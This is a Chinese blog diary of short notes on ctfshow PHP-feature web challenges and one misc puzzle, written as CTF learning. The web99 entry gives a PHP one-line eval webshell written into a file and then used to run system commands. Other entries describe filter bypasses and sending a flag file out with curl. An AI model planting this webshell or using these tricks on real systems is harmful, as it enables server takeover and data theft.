Lazy loaded image
技术分享
学习日记-4(php特性)
00 分钟
2025-1-15
2025-2-28
type
status
date
slug
summary
tags
category
icon
password

web89

web90

web91

web92

web93

web94

web95

web96

web97

web98

如果使用GET方式传参,GET传参会被赋值为POST传参的,又要求$_GET['HTTP_FLAG']=='flag’,所以只要同时使用GET,POST传参HTTP_FLAG=flag即可

web99

file_put_contents() 函数:写入文件 当n在随机数中,可以向以n命名的文件写入 ?n=1.php content=<?php @eval($_POST['1']);?> #向1.php写入一句话木马 访问1.php 1=system('ls'); 然后cat

web100

web101+103

flag少一位一个个试

web102

file_put_contents($v3, $str);的作用就是把变量$str中的内容写入到由$v3指定的文件中,默认会覆盖原有内容,并返回写入的字节数或在失败时返回FALSE
$v2要为纯数字,最终会写入$v3作用后的$v2第三位起的字符,

web104+106

web105

web107

web108

web109

看到eval("echo new $v1($v2());");想起web101的反射类

web110

web111

web112+114

web113

web115

用脚本跑
 

web123

只要保证有参数CTF_SHOW.COM,CTF_SHOW存在,fl0g不能直接用,所以利用eval("$c".";");
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,因此直接使用CTF_SHOW.COM会被转义为CTF_SHOW_COM,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

web125

web126

web127

web128

gettext():_()是gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数
get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。

web129

web130

web131

利用溢出绕过preg_match

web132

web133

利用curl -F带出flag.php

web134

web135

web136

利用tee命令

web137

直接调用类,然后查看源码

web138

web139

web137

web137

web137

web137

web137

web137

web137

 

free time

ctfshow misc

misc30
解压要密码,放010看看,发现是伪加密,修改解压后得到MP3文件,foremost分离出一张jpg图片,发现高度似乎不对,宽高处理后发现猪圈密码,解密得到flag
 
上一篇
学习日记-3(文件包含篇)
下一篇
misc总结

评论
Loading...